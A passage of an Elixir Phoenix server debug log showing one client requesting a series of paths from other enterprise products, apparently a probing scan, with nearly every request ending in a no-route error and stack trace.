    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:34.244000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39720] GET /av/api/1.0/system/local/tasks
[Thu Sep  3 08:02:34.254000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39720] ** (Phoenix.Router.NoRouteError) no route found for GET /av/api/1.0/system/local/tasks (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:39.405000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39752] GET /geoserver/web/
[Thu Sep  3 08:02:39.440000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39752] ** (Phoenix.Router.NoRouteError) no route found for GET /geoserver/web (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:40.178000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39766] GET /geoserver/web/
[Thu Sep  3 08:02:40.200000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39766] ** (Phoenix.Router.NoRouteError) no route found for GET /geoserver/web (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:40.815000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39774] GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage
[Thu Sep  3 08:02:40.842000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39774] ** (Phoenix.Router.NoRouteError) no route found for GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.AboutGeoServerPage (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:41.365000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:39786] GET /web-determinations/
[Thu Sep  3 08:02:41.386000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:39786] ** (Phoenix.Router.NoRouteError) no route found for GET /web-determinations (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:46.323000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42580] GET /ws_utc/login.do
[Thu Sep  3 08:02:46.342000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42580] ** (Phoenix.Router.NoRouteError) no route found for GET /ws_utc/login.do (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:46.976000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42588] GET /wls_utc/
[Thu Sep  3 08:02:46.997000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42588] ** (Phoenix.Router.NoRouteError) no route found for GET /wls_utc (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:49.683000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42604] GET /
[Thu Sep  3 08:02:49.683000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:42604] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:02:49.684000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42604] Sent 200 in 943µs
[Thu Sep  3 08:02:51.040000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42620] GET /cs/idcplg
[Thu Sep  3 08:02:51.071000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42620] ** (Phoenix.Router.NoRouteError) no route found for GET /cs/idcplg (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:51.671000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42624] GET /idc/idcplg
[Thu Sep  3 08:02:51.688000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42624] ** (Phoenix.Router.NoRouteError) no route found for GET /idc/idcplg (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:51.751000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42632] GET /sgdadmin/faces/jsp/Version.jsp
[Thu Sep  3 08:02:51.791000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42632] ** (Phoenix.Router.NoRouteError) no route found for GET /sgdadmin/faces/jsp/Version.jsp (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:52.319000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:42640] GET //idcplg
[Thu Sep  3 08:02:52.342000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:42640] ** (Phoenix.Router.NoRouteError) no route found for GET /idcplg (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:02:56.487000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36272] GET /gateway/login
[Thu Sep  3 08:02:56.508000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36272] ** (Phoenix.Router.NoRouteError) no route found for GET /gateway/login (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:01.104000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36280] GET /mapviewer/omserver
[Thu Sep  3 08:03:01.220000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36280] ** (Phoenix.Router.NoRouteError) no route found for GET /mapviewer/omserver (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:01.569000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36288] GET /portal/page/portal/Design_Time_PG/Welcome
[Thu Sep  3 08:03:01.651000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36288] ** (Phoenix.Router.NoRouteError) no route found for GET /portal/page/portal/Design_Time_PG/Welcome (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:02.445000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:36290] GET /page/portal/Design_Time_PG/Welcome
[Thu Sep  3 08:03:02.499000 2026] [Plug.Debugger:debug] [pid 2816631] [client 103.73.119.116:36290] ** (Phoenix.Router.NoRouteError) no route found for GET /page/portal/Design_Time_PG/Welcome (DaProductAppWeb.Router)
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/phoenix/lib/phoenix/router.ex:541: DaProductAppWeb.Router.call/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.plug_builder_call/2
    (da_product_app 0.1.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/plug/lib/plug/debugger.ex:136: DaProductAppWeb.Endpoint."call (overridable 3)"/2
    (da_product_app 0.1.0) lib/da_product_app_web/endpoint.ex:1: DaProductAppWeb.Endpoint.call/2
    (phoenix 1.7.19) lib/phoenix/endpoint/sync_code_reload_plug.ex:22: Phoenix.Endpoint.SyncCodeReloadPlug.do_call/4
    (bandit 1.6.7) lib/bandit/pipeline.ex:129: Bandit.Pipeline.call_plug!/2
    (bandit 1.6.7) lib/bandit/pipeline.ex:40: Bandit.Pipeline.run/4
    (bandit 1.6.7) lib/bandit/http1/handler.ex:12: Bandit.HTTP1.Handler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:18: Bandit.DelegatingHandler.handle_data/3
    (bandit 1.6.7) lib/bandit/delegating_handler.ex:8: Bandit.DelegatingHandler.handle_continue/2
    (stdlib 5.2.3.2) gen_server.erl:1085: :gen_server.try_handle_continue/3
    (stdlib 5.2.3.2) gen_server.erl:995: :gen_server.loop/7
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Thu Sep  3 08:03:07.945000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33270] GET /
[Thu Sep  3 08:03:07.945000 2026] [Phoenix.Logger:debug] [pid 2816631] [client 103.73.119.116:33270] Processing with DaProductAppWeb.PageController.home/2
  Parameters: %{}
  Pipelines: [:browser]
[Thu Sep  3 08:03:07.951000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33270] Sent 200 in 5ms
[Thu Sep  3 08:03:08.814000 2026] [Phoenix.Logger:info] [pid 2816631] [client 103.73.119.116:33286] GET /dndirector/dashboard/Show.dn
